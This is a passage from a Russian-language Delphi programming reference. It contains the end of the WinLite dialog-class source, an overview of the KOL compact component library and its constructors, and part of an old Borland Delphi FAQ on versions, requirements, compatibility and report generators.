  DialogParams.WndParent := FWndParent;

  DialogParams.Template  := '';

end;

////////////////////////////////////////////////////////////////////////////////

// Обработка сообщений по умолчанию

////////////////////////////////////////////////////////////////////////////////

procedure TLiteDialog.DefaultHandler(var Msg);

begin

  // Возвращаемые значения по умолчанию

  with TMessage(Msg) do

    if Msg = WM_INITDIALOG then Result := 1

                           else Result := 0;

end;

Реализация модального диалогового класса TLiteDialogBox

////////////////////////////////////////////////////////////////////////////////

// TLiteDialogBox

// _________________________________________________________

// Инициализация / финализация

////////////////////////////////////////////////////////////////////////////////

////////////////////////////////////////////////////////////////////////////////

// Формирование параметров диалога по умолчанию

////////////////////////////////////////////////////////////////////////////////

procedure TLiteDialogBox.CreateDialogParams(

var DialogParams: TDialogParams);

begin

  DialogParams.WndParent := FWndParent;

  DialogParams.Template  := '';

end;

////////////////////////////////////////////////////////////////////////////////

// Активизация модального диалога

////////////////////////////////////////////////////////////////////////////////

function TLiteDialogBox.ShowModal: Integer;

begin

  // Формируем параметры диалога

  CreateDialogParams(FDlgParams);

  // Показываем диалог

  with FDlgParams do

    Result := DialogBoxParam(hInstance, Template, WndParent,

WndCallback, 0);

end;

////////////////////////////////////////////////////////////////////////////////

// Обработка сообщений по умолчанию

////////////////////////////////////////////////////////////////////////////////

procedure TLiteDialogBox.DefaultHandler(var Msg);

begin

  // Возвращаемые значения по умолчанию

  with TMessage(Msg) do

    if Msg = WM_INITDIALOG then Result := 1

                           else Result := 0;

end;

end.

5. Пример программы на основе библиотеки WinLite

В прилагаемом примере, построенном на основе разработанной автором библиотеки API-программирования WinLite, рассматриваются следующие проблемы:

• создание и показ окон;

• создание и показ диалогов;

• загрузка ресурсов;

• работа с трэем;

• активизация приложения по нажатию глобальной "горячей" клавиши;

• "прилипание" окна к границам рабочей области экрана;

• реализация графики OpenGL;

• субклассинг стандартных элементов управления;

• буферизация вывода в окно для устранения мерцания;

• создание дополнительного потока и передача сообщений между потоками;

• установка таймера.

KOL

KOL — Key Objects Library – это библиотека объектов для программирования в среде Delphi. Предоставляется бесплатно, с исходными текстами.

Поддерживаются версии Delph3, Delphi4, Delphi5. Библиотека KOL позволяет разрабатывать чрезвычайно компактные GUI-приложения (от 13,5К без сжатия — при условии использования предлагаемой замены системных модулей system, sysinit). Большая часть кода переведана на ассемблер.

К библиотеке прилагается программа — генератор справки (xHelpGen), формирующая подробную документацию по библиотеке в html-формате. Справка формируется на основе комментариев в исходных текстах, так что разработчики всегда имеют доступ к самой свежей и полной документации.

До сих пор программирование для KOL было полностью невизуальным, но с открытием проекта MCK (Mirror Classes Kit — набор зеркальных классов) появилась надежда на то, что очень скоро все прелести визуального программирования будут в полной мере доступны и для разработчиков, использующих KOL.

Состояние проекта KOL

• Базовый объект TObj функционально заменяет собой класс TObject из VCL. Он имеет похожий метод Free, который позволяет уничтожать объекты безопасно (игнорируя вызов для указателя nil), а так же пару методов RefInc и RefDec, позволяющих предотвратить удаление объекта из памяти между двумя соответствующими вызовами RefInc и RefDec.

 ◦ Очень полезный объект TList ("конструктор": NewList:PList). Подобно TList в VCL, позволяет хранить указатели на любые данные (или числа).

 ◦ TStrList. Конструктор: NewStrList: pstrlist — очень быстрый список строк (позволяет обрабатывать миллионы строк в секунду).

 ◦ Невизуальный объектный тип TTree для организации дерево-подобных структур данных в памяти.

 ◦ Объектный тип TGraphicTool реализует в себе GDI иснструменты — кисточку (NewBrush), шрифт (NewFont) и карандаш (NewPen), без введения трех различных потомков. Бóльшая часть кода включается в конечную программу только в случае, если в проекте имеются обращения к свойствам Font, Brush объектов TControl, или объекты типа TGraphicTool создаются явным образом.

 ◦ Объект TCanvas, очень похожий на TCanvas из VCL (но более компактный и эффективный). Для рисования на существующем DC, имеется конструктор: NewCanvas(DC): PCanvas

 ◦ TBitmap, также напоминает TBitmap из VCL. Конструкторы:

  ▪ NewBitmap(Width, Height): PBitmap.

  ▪ NewDIBBitmap(Width, Height, PixelFormat): PBitmap

 ◦ Объект TImageList (подобно аналогичному в VCL). Конструктор: NewImageList(AOwner: PControl): PImageList.

 ◦ Главный объект библиотеки KOL — это TControl. Он может выполнять роль любого визуального контрола взависимости от того, какой "конструктор" использован для его создания. Имеются следующие "конструкторы", точнее, глобальные функции конструирования (синтаксис намеренно видоизменен):

  ▪ NewApplet(Caption: String): PControl (примечание: в KOL необязателен. В случае единственной формы, для которой не требуется прятать кнопку приложения на панели задач, достаточно создать форму) .

  ▪ NewForm(AParent: PControl): PControl

  ▪ NewPanel(AParent; EdgeStyle:{ esRaised, esLowered, esNone }): PControl

  ▪ NewSplitter(AParent; MinSize1, MinSize2: Integer): PControl

  ▪ NewGroup(AParent; Caption): PControl

  ▪ NewLabel(AParent; Caption): PControl

  ▪ NewWordWrapLabel(AParent; Caption): PControl

  ▪ NewLabelEffect(AParent; Caption; ShadowDeep): PControl

  ▪ NewButton(AParent; Caption): PControl

  ▪ NewBitBtn(aParent, aCaption, aOptions: [ bboImageList, bboNoBorder, bboNoCaption, bboFixed ] , aLayout: { glyphLeft, glyphTop, glyphRight, glyphBottom, glyphOver } , GlyphBmp _or_ ImageList, GlyphCount __or__ ImgIdx _and_ GlyphCount _shl16): PControl

  ▪ NewCheckbox(AParent; Caption): PControl

  ▪ NewRadiobox(AParent; Caption): PControl

  ▪ NewEditbox(AParent; Options: Set of [ eoNoHScroll, eoNoVScroll, eoLowercase, eoMultiline , eoNoHideSel, eoOemConvert, eoPassword, eoReadonly, eoUpperCase, eoWantReturn, eoWantTab ]): PControl

  ▪ NewRichEdit(AParent, Options): PControl

  ▪ NewRichEdit1(AParent, Options): PControl

  ▪ NewListbox(AParent; Options: Set of [ loNoHideScroll, loNoExtendSel, loMultiColumn, loMultiSelect, loNoIntegralHeight, loNoSel, loSort, loTabstops ]): PControl

  ▪ NewCombobox(AParent; Options: Set of [ coReadOnly , coNoHScroll, coAlwaysVScroll, coLowerCase, coNoIntegralHeight, coOemConvert, coSort, coUpperCase ]): PControl

  ▪ NewPaintbox(AParent)

  ▪ NewGradientPanel(AParent; Color1, Color2): PControl

  ▪ NewGradientPanelEx(Color1, Color2, Style: ( gsHorizontal, gsVertical, gsRectangle, gsElliptic, gsRombic ), Layout: ( glTopLeft, glTop, glTopRight, glLeft, glCenter, glRight, glBottomLeft, glBottom, glBottomRight )): PControl

  ▪ NewProgressbar(AParent): PControl

  ▪ NewProgressbarEx(AParent; Options: set of [ pboVertical, pboSmooth ]): PControl

  ▪ NewListView(AParent, Style:{ lvsIcon, lvsSmallIcon, lsvList, lvsDetail, lvsDetailNoHeader}, Options: set of [ lvoIconLeft, lvoAutoArrange, lvoButton, lvoEditLabel, lvoNoLabelWrap, lvoNoScroll, lvoNoSortHeader, lvoHideSel, lvoMultiselect, lvoSortAscending,lvoSortDescending, lvoGridLines, lvoSubItemImages, lvoCheckBoxes, lvoTrackSelect, lvoHeaderDragDrop, lvoRowSelect, lvoOneClickActivate, lvoTwoClickActivate, lvoFlatsb, lvoRegional, lvoInfoTip, lvoUnderlineHot, lvoMultiWorkares ]; ImageListSmall, ImageListBig, ImageListState: PImageList): PControl

  ▪ NewTreeView(parent, options: set of [ tvoNoLines, tvoLinesRoot, tvoNoButtons, tvoEditLabels, tvoHideSel, tvoDragDrop, tvoNoTooltips, tvoCheckBoxes, tvoTrackSelect, tvoSingleExpand, tvoInfoTip, tvoFullRowSelect, tvoNoScroll, tvoNonEvenHeight ], ImgListNormal, ImgListState): PControl

  ▪ NewToolbar(parent, align: { c aLeft, caTop, caRight, caBottom }, options: set of [ tboTextRight, tboFlat, tboTransparent, tboWrapable ], Bitmap, Buttons: array of PChar; BtnImgIdxArray: array of Integer): PControl

  ▪ NewTabControl(parent, tabs: array of string, options: set of [ tcoButtons, tcoFixedWidth, tcoFocusTabs, tcoIconLeft, tcoLabelLeft, tcoMultiline, tcoMultiselect, tcoFitRows, tcoScrollOpposite, tcoBottom, tcoVertical, tcoFlat, tcoHotTrack ], ImgList, ImgIdx1st): PControl

 ◦ Динамически создаваемое меню — объект TMenu (главное меню или контекстное). Конструкторы:

  ▪ NewMenu(AParent; FirstCmd:Integer; Template: array of PChar; aOnItem: procedure( Sender; Item: integer) of object): PMenu

  ▪ NewMenuEx(AParent; FirstCmd:Integer; Template: array of PChar; aOnItems: array of procedure(Sender; Item: integer) of object): PMenu

 ◦ Невизуальный объект TIniFile. Конструктор: OpenIniFile(filename): PIniFile;

 ◦ Невизуальный объект TTimer. Конструктор: NewTimer(interval): PTimer

 ◦ Невизуальный объект TDirList. Конструкторы:

  ▪ NewDirList(path; 'filemask'; Attr): PDirList

  ▪ NewDirListEx(path; '[^]filemask1[;[^]filemask2]…'; Attr): PDirList

 ◦ Объект TOpenSaveDialog для вызова стандартного диалога выбора файлов на открытие/сохранение. Конструктор: NewOpenSaveDialog(title, strtdir: string; Options: [ OSCreatePrompt, OSExtensionDiffent, OSFileMustExist, OSHideReadonly, osnochangedir, osnoreferencelinks, osallowmultiselect, OSNoNetworkButton, OSNoReadonlyReturn, OSOverwritePrompt, OSPathMustExist, osreadonly ]): POpenSaveDialog

 ◦ Объект TOpenDirDialog для вызова стандартного диалога выбора директории (использует SHBrowseForFolder). Конструктор: NewOpenDirDialog(title, options: [ odfBrowseForComputer, odfBrowseForPrinter, odfDontGoBelowDomain, odfOnlyFileSystemAncestors, odfOnlySystemDirs ]): POpenDirDialog

(Примечание: возможна установка начальной директории и OnSelChanged события).

 ◦ Объект TColorDialog для вызова стандартного диалога выбора цвета: NewColorDialog(FullOpenOption): PColorDialog

 ◦ Потоковые объекты типа TStream:

  ▪ NewMemoryStream: PStream

  ▪ NewReadFileStream(filename): PStream

  ▪ NewWriteFileStream(filename): PStream

  ▪ NewReadWriteFileStream(filename): PStream

 ◦ Невизуальный TImageList. Конструктор: NewImageList(aowner: pcontrol): pimagelist

 ◦ Невизуальный TTimer. Конструктор: NewTimer(interval): ptimer

 ◦ Невизуальный TThread. Конструкторы:

  ▪ NewThread: PThread

  ▪ NewThreadEx(Proc: TOnThreadExecute): PThread

 ◦ Невизуальный объект для мониторинга изменений в папках TDirChange:

  ▪ NewDirChangeNotifier(Path; Filter: set of [ fncFileName, fncDirName, fncAttributes, fncSize,

fncLastWrite, fncLastAccess, fncCreation, fncSecurity ]; WatchSubtree; ChangeProc: TOnDirChange): PDirChange

 ◦ Невизуальный TMediaPlayer. NewMediaPlayer(filename, window): PMediaPlayer

(Имеется ряд дополнительных функций для проигрывания звуковых wave-файлов из памяти, потока, файла или ресурса и контроля wave-выводом).

 ◦ Невизуальный (?) объект TTrayIcon. Конструктор: NewTrayIcon(Wnd:PControl; Icon: HIcon): PTrayIcon

(Теперь с дополнительным свойством AutoRecreate, позволяющим возобновить иконки в трее в случае рестарта эксплорера).

 ◦ Функции JustOne(Wnd:PControl; Id:String): Boolean и JustOneNotify(Wnd; Id; OnAnotherInstance: procedure(cmdline: string) of object)

 ◦ Процедура SortData для быстрой сортировки любых массивов.

 ◦ Множество процедур и функций для работы с окнами, файлами, датой/временем, строками и преобразованиями форматов.

 ◦ Кроме того, реализованы дополнительно (здесь приведено даже близко далеко не все то, чем KOL мог бы гордиться):

  ▪ Поддержка табуляции с помощью клавиатуры — упрощенная (вызвать Tabulate для формы) и более сложная (вызвать TabulateEx).

  ▪ Набор свойств, упрощающих настройку границы формы (окна): HasCaption, HasBorder, CanResize, StayOnTop .

  ▪ Набор "сквозных" методов, упрощающих невизуальное проектирование формы: PlaceRight, PlaceDown, PlaceUnder, SetSize(w,h), Size(w, h), AlignLeft(fromcontrol), AlignTop (fromcontrol), ResizeParent, ResizeParentRight, ResizeParentBottom, CenterOnParent, Shift(x,y), SetAlign(куда) а так же свойство Margin.

  ▪ Поддержка вращающихся шрифтов — в LabelEffect, в TCanvas. Автоматически — по изменению свойства Font.Orientation

  ▪ Поддержка геометрического карандаша (pen) в TGraphicTool. А также свойство FontWeight для желаемого утолщения шрифтов средствами ОС.

  ▪ Поддержка двойной буферизации вывода (необходима в LabelEffect). Необходима установка для визуального объекта свойства DoubleBuffered в True (наследуется дочерними контролами)

  ▪ СвойствоTransparent (прозрачность, неявно использует DoubleBuffered).

  ▪ Свойство AlphaBlend позволяет сделать форму/контрол полупрозрачными (только Win2K).

  ▪ Свойство Align, позволяющее выравнивать контролы так же, как и в VCL. имеется дополнительный "сквозной" метод SetAlign, упрощающий начальную настройку контролов.

  ▪ Метод PreventResizeFlicks позволяет ликвидировать большинство мельканий изображения при изменении размеров формы и перемещении сплиттера — в случае применения выравнивания с помощью свойства Align . Особенно эффективно совместно с DoubleBuffered = True.

  ▪ Окно статуса (status bar), встраиваемое в форму (при использовании свойств StatusText[], SimpleStatusText, и т.п.).

  ▪ События OnMouseOver / OnMouseLeave.

  ▪ Возможность любых внешних расширений оконных процедур имеющихся контролов с помощью метода AttachProc (собственно, на нем построен весь K.O.L.)

 ◦ Добавлен набор зеркальных классов MCK (Mirror Classes Kit), который позволяет перейти к визуальному программированию с использованием библиотеки KOL.

FAQ

Часто задаваемые вопросы по Borland Delphi

Примечание: ответ на интересующий вас вопрос вполне может оказаться в разделе, который дает описание версии, отличной от вашей. Материал не дублируется, где возможно приводятся перекрестные ссылки. Рекомендуется читать все разделы. 

Условные обозначения, используемые в данном FAQ:

Вопрос

Ответ

Материал относительно Delphi 1.0

Пример (исходный текст программы) для Delphi 1.0

Материал относительно Delphi 2.0

Пример (исходный текст программы) для Delphi 2.0

Материал относительно Delphi 3.0

Пример (исходный текст программы) для Delphi 3.0

Общие вопросы по Delphi и данному FAQ (часть 1)

Введение

1. Какова цель этого FAQ?

Этот FAQ предназначен для ответов на некоторые вопросы относительно новой cреды разработки Borland International, называемой Delphi. Этот документ, в действительности, не FAQ в полном смысле этого термина, потому что некоторые из вопросов, на которые здесь есть ответы, не очень часто задают на самом деле.

Вначале мы выпускали FAQ, куда помещали все доступные сведения о Delphi в текстовом виде. Далее была промежуточная версия в формате WinHelp. Теперь, после ряда трансформаций FAQ обличен в форму HTML.

2. Как я могу получить последнюю версию FAQ?

Проще всего зайти на наш WWW-сервер () и загрузить оттуда свежие версии всех имеющихся материалов, которые, кстати, помимо Delphi, охватывают весь спектр продуктов, выпускаемых фирмой Borland International. Также вы можете получить текстовую версию данных материалов, загрузив файл delfaqs.zip.

Вопросы общего характера

1. Что такое Delphi?

Delphi — это достаточно новый продукт Borland International для быстрого создания приложений (RAD). Высокопроизводительный инструмент визуального построения приложений, работающих с базами данных в архитектуре клиент-сервер, Internet/Intranet, а также для локальных машин и файл-серверной архитектуры. Этот инструментарий включает в себя настоящий компилятор кода и предоставляет средства визуального программирования, несколько похожие на те, что можно обнаружить в Microsoft Visual Basic или в других инструментах визуального проектирования. Лежащий в основе Delphi язык — Object Pascal, который является расширением объектно-ориентированного языка Pascal (Turbo/Borland Pascal, начиная с версии 5.5). В Delphi также входят локальный SQL-сервер InterBase 4.0, генераторы отчетов, библиотеки визуальных компонентов, и прочее хозяйство, необходимое для того, чтобы чувствовать себя совершенно уверенным при профессиональной разработке информационных систем или просто программ для Windows-среды. Поскольку в архитектуре клиент-сервер де-факто сложилось такое положение, что клиентские станции работают, как правило, в Windows-среде, а SQL-сервер — в операционной системе UNIX, Delphi Client-Server может служить удобным инструментом для скоростной разработки приложений.

2. Для кого предназначен Delphi?

Прежде всего профессиональным разработчикам, желающим очень быстро разрабатывать приложения в архитектуре клиент-сервер. Delphi производит небольшие по размерам (до 15-30 Кбайт в Delphi 3.x!) высокоэффективные исполняемые модули (.exe и .dll), поэтому в Delphi должны быть прежде всего заинтересованы те, кто разрабатывает продукты на продажу. С другой стороны небольшие по размерам и быстро исполняемые модули означают, что требования к клиентским рабочим местам существенно снижаются — это имеет немаловажное значение и для конечных пользователей. Помимо стандартных клиентских приложений (Delphi 1.0 и 2.0), Delphi 3.x также имеет средства для созданий приложений в многозвенной архитектуре.

3. Преимущества Delphi по сравнению с аналогичными программными продуктами.

• Быстрота разработки приложения.

• Высокая производительность разработанного приложения.

• Hизкие требования разработанного приложения к ресурсам компьютера.

• Hаращиваемость за счет встраивания новых компонент и инструментов в среду Delphi.

• Возможность разработки новых компонент и инструментов собственными средствами Delphi (существующие компоненты и инструменты доступны в исходниках)

• Удачная проработка иерархии объектов

• Де-факто уже доступно огромное количество визуальных компонентов третьих фирм, часть из которых freeware, часть shareware, часть — коммерческие.

4. Какие есть версии Delphi?

В феврале 1995 года была выпущена первая версия Delphi, которая генерировала код, исполняемый под операционной системой Windows 3.1x.

В начале февраля 1996 года объявлено о выходе второй версии продукта, которая генерирует уже 32-разрядный код для Windows 95 и Windows NT и использует все преимущества 32-разрядных приложений — более высокая скорость обработки данных, большее количество возможностей для приложения и др. Вторая версия Delphi предлагается уже в трех вариантах: Delphi Desktop, Delphi Developer и Delphi Client/Server Suite. Версии Desktop и Developer включают в себя Delphi Desktop 1.0, а Client/Server Suite — Delphi Client/Server 1.0.

В ближайшем будущем ожидается версия Delphi 3.0, которая также будет создавать 32-разрядные приложения со встроенной поддержкой стандартов COM/DCOM, ActiveX, улучшенными средствами работы с базами данных и т.д. Варианты поставки, судя по всему, будут аналогичны второй версии.

5. Сколько дискового пространства, памяти, и т.д., нужно для работы Delphi?

Минимальная установка Delphi 1.0 требует приблизительно 30 Мбайт на диске, и полная установки - 80 Мбайт. Чтобы Delphi работал хорошо, нужен 486 процессор с 8 Мбайт ОЗУ, хотя мы рекомендовали бы 16 Мбайт. Практика показывает, что скорость CPU не является критическим параметром.

Для 32-разрядных версий Delphi требования увеличиваются. Полная установка занимает чуть более 100 Мбайт, оперативной памяти желательно иметь не менее 16 Мбайт. 32 Мбайт ОЗУ достаточно, чтобы комфортно работать и отлаживать программы в Delphi, используя при этом загруженный на этой же машине Local Interbase.

6. Сколько занимает места программа, выводящая текст "Hello, World!", изготовленная на Delphi?

Меньше 170Кб, если имеется в виду программа, "собранная" обычным для Delphi способом. При этом сразу же подключается стандартная поддержка форм и пр. Тем не менее при помощи Паскаля, поддержимаемого Delphi, можно  написать программу, которая ничем по своим качествам не будет отличаться от программы, написанной в BP7.0. (То есть размер такой программы может быть около 15Кб) Рекорд — 3.5 Кб!!

Но и это еще не все. Концепция пэкиджей (paсkages), введенная в Delphi 3.0, позволяет создавать программы, код которых будет составлять всего несколько килобайт + разделяемые между всеми приложениями библиотеки времени выполнения, оформленные в виде DLL.

7. Hасколько трудно научиться работе с Delphi?

Если вам повезло, то вы уже имеете большой опыт работы и с Borland Pascal With Objects, и с Visual Basic. Если вам подходит данное описание, тогда Delphi будет для вас сразу понятен. А теперь для остальных: Чтобы полностью  использовать возможности среды Delphi, вы должны знать Pascal , вы должны иметь некоторые знания об объектно-ориентированном программировании и вы должны знать о программировании событий. Если вы преодолели эти три препятствия, то вы имеете все необходимые знания. С другой стороны , большинству людей не нужно полностью использовать все возможности среды. Если вы хотите создать приложение, которое не делает ничего особенно причудливого, то даже без особого программирования вы в течение 5-10 минут сможете собрать из визуальных компонент Delphi что-нибудь достаточно мощное и на удивление работоспособное.

Приложения, созданные в среде Delphi, отличаютя повышенной надежностью. Встроенные механизмы RTTI и обработки исключений вместе со строго типизированным языком Object Pascal изначально закладывают в программы устойчивость к всевозможным сбоям, которые могут произойти в операционной системе, на SQL-сервере или непосредственно в вашей программе. Даже ничего не делая самому, всегда можно как минимум узнать, что произошла ошибка и где, а зачастую и получить исчерпывающую дополнительную информацию. Во многом это заслуга и компилятора Borland с языка Pascal, история которого насчитывает более 13 лет.

8. Можно ли создавать многопользовательские приложения для баз данных в Delphi Desktop или Developer?

Используя Delphi Desktop 1.0 или Delphi Developer 2.0, можно разработать приложение, которое общается с каким-нибудь SQL сервером, используя ODBC драйвер. Hе было особых проблем, чтобы заставить работать ODBC, и скорость доступа к данным была вполне приемлема. Тем не менее те, кто уже успел опробовать оба варианта, в один голос утверждают, что через IDAPI работать быстрее. В Delphi Desktop 2.0 работа через ODBC не поддерживается.

9. Какова история появления Delphi?

Delphi — потомок Турбо-Паскаля , который впервые появился в 1983г для операционной системы CP/M . Турбо-Паскаль был перенесен в MS-DOS в начале 1984г. Hа протяжении всего начала истории IBM PC, Турбо-Паскаль был действительно наиболее популярным языком для серьезных разработок - главным образом потому, что это был настоящий компилятор, включающий редактор текстов программ и все необходимое, что стоило $19.95 и выполнялось на компьютере со 128 Кбайт. Borland представил Турбо-Паскаль для Windows в 1990г. Последней версией Borland Pascal (как это стало называться), не считая Delphi, был версии 7.0 в конце 1992г.

Delphi 1.0 разрабатывался что-то около 18 месяцев или двух лет. Выпускались различные beta-версии и пререлизы, включая несколько сотен копий, которые отдали во время выставки Software Development '95. Delphi официально анонсирован в США 14 февраля 1995г, и первые копии были разосланы 28 февраля. В России Delphi появился в первых числах апреля, хотя ранее действовала программа раннего ознакомления (EEP) в рамках которой те, кто спешил начать осваивать новый продукт, получали бета-версию Delphi и пререлиз документации.

После выпуска первой версии продукта компания Borland направила свои усилия на перенос Delphi в 32-разрядные операционные системы - Windows 95 и Windows NT. Этот процесс успешно завершился и 10 февраля 1996г. Borland Intrenational объявил о выходе второй версии продукта, которая генерирует уже 32-разрядный код для Windows 95 и Windows NT и использует все преимущества 32-разрядных приложений - более высокая скорость обработки данных, большее количество возможностей для приложения и др.

На данный момент ожидается выход третьей версии Delphi, окончательный которой предположительно появится в конце весны-начале лета 1997г. На основании предварительных версий можно сказать, что Delphi 3.0 - это еще более мощный продукт, чем Delphi 2.0, который позволяет использовать в своих разработках все основные стандарты, имеющиеся на платформе Win32/Intel - ActiveX, COM/DCOM, ISAPI/NSAPI и т.д.

10. Где можно приобрести копию Delphi?

У любого дилера Borland, а сейчас Delphi Desktop продаются, кажется, даже в книжных магазинах. Тем не менее перед приобретением Delphi поинтересуйтесь, какую поддержку обеспечивает дилер. Delphi - это довольно большой продукт, и его поддержка всегда будет нелишней.

11. Приведите сравнение производительности IDAPI и других аналогичных продуктов.

Демо-центр такими исследованиями не занимался, в них не было ни интереса ни необходимости. Однако кто-то такие тесты проводил, например по данным Jin Mai (mwj@pipeline.com) на одной таблице с 60 тыс. записей производительность операции SELECT следующая[1]:

Инструмент   Формат базы данных  Время в секундах  Delphi  Paradox  22 VB  Access  60 Delphi  ODBC to Access  30  Access  ODBC to local Watcom  48  VB  ODBC to local Watcom  33 

Hесмотря на весьма странные данные во второй строке (VB/Access),  автор тестов их подтверждает.

12. Как можно войти в контакт с представителями Borland?

Если вы имеете соответствующие возможности, вы можете получать информацию прямо из Borland:

•

• anonymous to ftp.borland.com.  

Телефоны Borland АО — российского представительства Borland International:

• (095)-366-4298

• (095)-366-3973  

Вы можете поговорить с представителями Демо-центра по клиент-серверным технологиям Borland (компания Epsylon Technologies) по телефонам:

• (095)-913-5608

• (095)-913-2934

• (095)-459-1333

• (095)-535-0319

• (095)-535-5349

Можете отправить письмо с вопросами по адресу:

• delphi@demo.ru.

13. Какую техническую поддержку может получить покупатель Delphi?

Можете звонить напрямую в Borland International, все необходимые адреса есть в сопроводительных документах в коробке с Delphi.

Можете направить письмо по электронной почте в Borland International по адресу techinfo@borland.com, однако следует отметить, что качество поддержки в большой степени зависит от дилера.

Hачала свою деятельность Ассоциация пользователей Delphi. В Борланд АО организованы семинары (пока бесплатные). Раз в две недели по средам с 14:00 до 16:00 проходит тематический семинар о Delphi и других продуктах Borland. Его проводят практические специалисты по Delphi из различных организаций, в том числе и из демо-центра. Даже если вы издалека, имеет смысл посетить семинар — наверняка вы услышите что-либо интересное для себя. Тематика семинаров — самая разнообразная.

Для того, чтобы попасть на семинар, надо позвонить в Демо-центр по телефону: 913-5608, и записаться на семинар.

Методические материалы для проведения таких семинаров сохраняются, так что тем, кто желает у себя в регионе организовать нечто подобное, звоните в Демо-центр Александру Сергееву.

14. Выйдет ли версия Delphi, где в качестве компилятора будет использоваться BC++?

Вопрос устарел. Такой продукт (Borland C++Builder) вышел 4 февраля 1997г. По своим возможностям он практически равноценен Dehlpi 2.0. Получить более подробную информацию о данном продукте вы можете получить на страничках нашего сервера, посвященных C++Builder.

15. Сколько стоит Delphi в России?

Полная стоимость текущих версий продукта составляет:

Delphi 1.02 Client/Server  $  Delphi 1.02 for Windows (Desktop)  $ Delphi 2.01 Client/Server Suite  $ Delphi 2.0 Developer  $ Delphi 2.0 Desktop  $        

Цены на Delphi 3.0 не объявлены (продукта пока нет), но предполагается, что они будут на уровне Delphi 2.0. Полный список цен на продукты, а также всевозможных вариантов Upgrade приведен в нашем прайс-листе.

16. Что можно, и чего нельзя разработать в среде Delphi? В частности, можно ли разработать в Delphi внутреннюю структуру данных для SQL-cервера, хранимые процедуры и пр.?

Понятно, что для такого открытого инструмента, как Delphi, границы "дозволенного" весьма условны. В частности, хороший пример — появление в более поздних версиях визуального компонента для работы с хранимыми процедурами. То есть это было нельзя для FieldTest 4 и стало возможным для пререлиза.

Второй пример, который появился только с версии 1.15 Delphi FAQ. В стандартной поставке Delphi не существует визуального компонента, поддерживающего обработку event alerts (событий) в InterBase. Тем не менее оказалось, что изготовить такой компонент не так уж и трудно. В Delphi 2.0 есть пример аналогичного компонента, который на самом деле оказался весьма кривым и потребовал существенной доработки для возможности нормального использования.

Вышли компоненты, позволяющие проводить процедуру инсталляции разработанного вами приложения, проводить сетевой обмен, обмениваться данными через cc:mail или Lotus Notes.

Появились компоненты, реализующие прямые линки к BTrieve, AS/400, мэйнфреймам, Informix.

17. Чем можно воспользоваться для создания инсталляционных версий приложений, разработанных в Delphi?

Для Delphi 1.0 можно, например, попробовать:

1. Wise. Он неплохо подходит и для VB, и для BC++.

2. Kurt. Создает иконы, меняет INI, распаковывает сжатые файлы.

3. Существует несколько компонентов, которые помогают в создании инсталляторов и Shareware-версий продукта. Однако, последнее время практически стандартом стал инсталлятор InstallShield. Его 32-разрядный вариант для Delphi (InstallShield Express for Delphi) входит в стандартную поставку всех версий Delphi 2.0.

18. Должен ли я знать все относительно Windows API, чтобы использовать Delphi?

Может возникнуть чувство, что вы должны знать относительно Windows API в Delphi больше, нежели в Visual Basic. Это не так; вы можете работать в обеих средах с минимальным пониманием внутренней организации Windows. Однако, в обоих случаях, вы должны знать, по крайней мере, кое-что относительно Windows API, чтобы "выжать" максимум из того, что у вас есть. Различие в том, что Delphi предоставляет вам гораздо больше возможностей, чтобы делать все эти интересные вещи.

19. Должен ли я знать объектно-ориентированное программирование, чтобы использовать Delphi?

Хорошо бы. Инструментальные средства проектирования интерфейса пользователя Delphi производят объектно-ориентированный код. Однако, если вы знакомы с Visual Basic или Powerbuilder, вы, вероятно, имеете достаточное понимание OOP (Object Oriented Programming). Вы можете сделать многое в Delphi без необходимости создавать ваши собственные объекты; но при создании новых объектов действительно важно знать тонкости OOP.

Совместимость

1. Какие операционные системы Delphi поддерживает?

Версия Delphi 1.0 предназначается для Windows 3.1x. Hет причин, по которым Delphi 1.0 не работал бы в системах, которые обеспечивают эмуляцию Windows 3.1, подобно OS/2 Warp, Windows NT, UnixWare 2.0 и т.д.

Delphi 2.0 предназначена для работы под Win32/Intel - на данный момент это Windows 95 (в т.ч. OSR2), Windows NT (3.5 и 4.0).

Delphi 3.0 также работает под Win32, но на данный момент некоторые возможности, предоставляемые продуктом можно использовать только в ОС Windows NT 4.0. Возможно, очередная версия Windows 95 (Windows 97), будет обладать этими функциями.

2. Какие средства управления проектом совместимы с Delphi?

Delphi 1.0 Client/Server поддерживает совместимость с PVCS компании InterSolv.

Delphi 2.0 Client/Server Suite включает в себя комплект PVCS, интегрированный в IDE.

Кроме того, должна быть возможность совмещения с большинством систем контроля исходных текстов. Однако, формы в Delphi сохраняются в двоичном формате, так что пакет управления исходными текстами должен поддерживать двоичные данные для того, чтобы это работало с Delphi . Если у вас есть администратор исходных текстов, который просто не может иметь дело с двоичными файлами, то согласно документам, вы может сохранять формы в виде ASCII текста для редактирования или в целях контроля за версиями. Файлы ASCII могут также загружаться и снова сохраняться в двоичном *.DFM формате.

MKS Source Integrity (MKS SI - 2-ой на рынке администраторов исходного текста для PC/PCLAN с более чем 35,000 разработчиками, использующими SI) также предлагает средства интеграции в Delphi. Эти средства в настоящее время поставляются наряду с MKS SI.

3. Можно ли в Delphi использовать DLL, разработанные в C или C ++?

Delphi способен вызывать и получать обратные вызовы (callback) из любого стандартного модуля DLL для Windows.

4. Можно ли вызывать код, созданный в  Delphi из C или C ++?

Delphi может генерировать DLL, которые можно вызывать из C, C++, Visual Basic, PowerBuilder, или чего-нибудь еще, что понимает стандартные Windows DLL. Имеется пример DLL в каталоге DEMOS\DB\DLL из комплекта Delphi.

5. Что известно о пакетах других фирм, которые работают (или не работают) с Delphi?

6. Есть ли поддержка Dynamic Data Exchange (DDE), VBX, OLE, OCX, OpenDoc?

Да, Delphi позволяет с разной степенью комфорта использовать все технологические стандарты, имеющиеся в Windows.

7. Можно ли на Delphi написать VBX или OCX?

Можно. Ведь по сути дела VBX — это .dll, написанная по определенным правилам. Однако скорее всего вам потребуется дополнительно соответствующий SDK от компании Microsoft. Существует даже статья, где обсуждаются все аспекты такой работы.

Относительно OCX все то же самое, что и относительно VBX.

Delphi 3.0 позволяет визуально создавать элементы ActiveX.

8. Какие генераторы отчетов можно использовать с Delphi кроме ReportSmith?

В порядке предпочтения:

1. Имеется QuickReport — генератор отчетов, сделанный в виде компонентов и встраиваемый непосредственно в приложение. Успех 16-разрядной версии привел к тому, что начиная с версии Delphi 2.0 32-разрядный QuickReport входит в стандартный вариант поставки.

2. Crystal Reports — подключается через VBX.

3. R&R Report Writer — хорошо работает с Delphi, позволяет выполнять запросы, preview, вызовы DLL, передачу параметров. (производитель — Concentric Data Systems)

4. Также есть еще несколько генераторов отчетов, выполненных аналогично QuickReport в виде компонентов.

